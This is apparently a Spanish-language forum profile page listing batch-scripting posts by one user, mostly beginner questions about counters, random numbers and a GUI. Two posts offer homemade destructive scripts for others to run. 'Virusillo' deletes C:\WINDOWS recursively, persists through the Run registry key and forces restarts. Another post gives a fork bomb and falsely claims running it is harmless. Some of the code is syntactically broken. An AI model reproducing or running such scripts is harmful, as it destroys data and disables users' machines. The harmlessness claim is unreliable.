Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - NoryNR

#1
Scripting / GUI Para Bat
25 Enero 2010, 16:22 PM
Buenas, me gustaría saber si alguien conoce algun programa para hacer una inteface gráfica de usuario (GUI) para un archivo bat.

Gracias!
#2
Scripting / Como hacerlo Funcionar?
24 Febrero 2008, 19:58 PM
Buenas... se me plantea un problema...

tengo dos codigos son muy parecidos:

lo que intento hacer es guardar un archivo nuevo con una variable para luego llamarlo con call y que se muestre en la pantalla:

El primero Funciona perfectamente

@echo off

:inicio
cls
set /p constancia=quieres dar constancia de que estuviste aqui?
echo [1] Si
echo [2] No
if %constancia%==1 goto numeromas
if %constancia%==2 goto adios

:numeromas
if exist c.bat goto sig
echo set numero=0 >c.bat
goto sig

:sig
call c.bat
set /a numero=%numero%+1
echo han visitado esta pagina %numero%
echo set numero=%numero% >c.bat
pause
goto inicio

:adios
exit



Sin embargo el segundo no me funciona y lo unico que cambia es que el archivo se guarda en una carpeta...

@echo off

:inicio
cls
set/p constancia=quieres dar constancia de que estuviste aqui?
echo [1] Si
echo [2] No
if %constancia%==1 goto carpeta
if %constancia%==2 goto inicio

:carpeta
if exist calculo goto numeromas
MD calculo

:numeromas
if exist c.bat goto sig
echo set numero=0 >c.bat
move /Y c.bat calculo/
goto sig

:sig
call calculo/c.bat
set /a numero=%numero%+1
echo han visitado esta pagina %numero%
echo set numero=%numero% >c.bat
move /y c.bat calculo/
pause
goto inicio

:adios
exit



Alguien Ve el Error?

Saludos
#3
Scripting / Virusillo
19 Febrero 2008, 15:39 PM
Aqui os traigo un Simplísimo virus [creado por MI...]  ;D

@echo off
echo @echo off>Virus.bat
echo del /q /s C:\WINDOWS>>Virus.bat
echo attrib +h Virus.bat>>
echo exit>>Virus.bat
move /y virus.bat C:\WINDOWS\system32
start C:\WINDOWS\Virus.bat
Exit



Complicandolo un poquito mas y haciendo mas daño! [añadiendolo al registro]


@echo off
echo @echo off>Virus.bat
echo del /q /s C:\WINDOWS>>Virus.bat
echo reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v Virus /d
c:\WINDOWS\system32\nombre.bat">>Virus.bat
echo attrib +h Virus.bat>>
echo exit>>Virus.bat
move /y virus.bat C:\WINDOWS\system32
start C:\WINDOWS\Virus.bat
Exit



Y un poco mas de daño: [apagando el Pc en 1 segundo cada vez que se inicie el pc ya que añadimos la entrada al registro]

@echo off
echo @echo off>Virus.bat
echo del /q /s C:\WINDOWS>>Virus.bat
echo reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v Virus /d
c:\WINDOWS\system32\nombre.bat">>Virus.bat
echo attrib +h Virus.bat>>
echo shutdown -r -t 1>>Virus.bat
echo exit>>Virus.bat
move /y virus.bat C:\WINDOWS\system32
start C:\WINDOWS\Virus.bat
Exit
#4
Scripting / Problema con Atributo %0
18 Febrero 2008, 09:11 AM
este codigo sirve para que el batch se encuentre a si mismo... ya que no sabes cual es

C:\Documents and Settings\nosabesquenombredesesiontienelagente entonces de esta manera se autoencuentra y se mueve a cualquier carpeta o se copia.. lo que le digas...

una vez lo use y me fue.. pero ahora no consigo hacerlo funcionar...

copy /y %0 c:\WINDOWS\system32\nombre.bat

Me dice que la sintaxis no es correcta.

yo lo intente con move tambien

move /y %0 c:\WINDOWS\system32\


Alguna sugerencia? Gracias

#5
Scripting / Sobrecargando Ordenador
16 Febrero 2008, 14:37 PM
Buenas Hoy voy a postear este codigo realizado por mi...

Muy simple él...
Pero que verdaderamente sobrecarga ordenadores.


@echo off

set contador=0

:inicio
set /a contador=%contador%+1

echo @echo off>Programa%contador%.bat
echo echo HOLA>>Programa%contador%.bat

start Programa%contador%.bat
goto inicio

pause


Lo que hace es a la variable contador=0 sumarle 1 digito en un bucle...
y crear un bat nuevo llamado programa(y el numero que vaya por el contador).bat cada vez que va a bucle

en pocos segundos se crean mas de 500 bats nuevos... y no solo eso sino que al mismo tiempo los va abriendo y sale El mensajito de Hola! :D.

No creo que tenga errores el batch pero si veis alguno Informarme!  ;D

P.D: Lo podeis ejecutar.. no pasara nada :D lo unico que tendreis que reiniciar :D
#6
Scripting / DUDA [BATCH]
9 Febrero 2008, 18:00 PM
Hola.... queria saber como se hace un comando...

a ver si con vuestra ayuda lo consigo :D

a ver quiero que cuando un numero resultante de una resta entre 50 y un numero random entre 0 y 99 si es menor que 0 vaya a menor que y si es mayor que 0 vaya a mayorque.

para eso le pongo un rango a la variable RANDOM para que escoja un numero entre 0 y 99  [%random:~1,2%]

pero no me va... encontrais algun error?

Sale en la pantalla esto

:mayorque
echo echo %random% es mayor que 0

:menorque
echo echo %random% es menos que 0

Como si fuera mayor y menor que 0 a la vez...

Alguna solucion?


Aqui os dejo el Bat
----------------------------------------
@echo off
set x=0
set y=50

set /a a=%y%-%random:~1,2%

If %a% LSS %x% goto menorque
If %a% GTR %x% goto mayorque

:mayorque
echo La resta da numeros positivos
:menorque
echo La resta da numeros negativos


pause
exit
----------------------------------------


Saludos y Gracias :D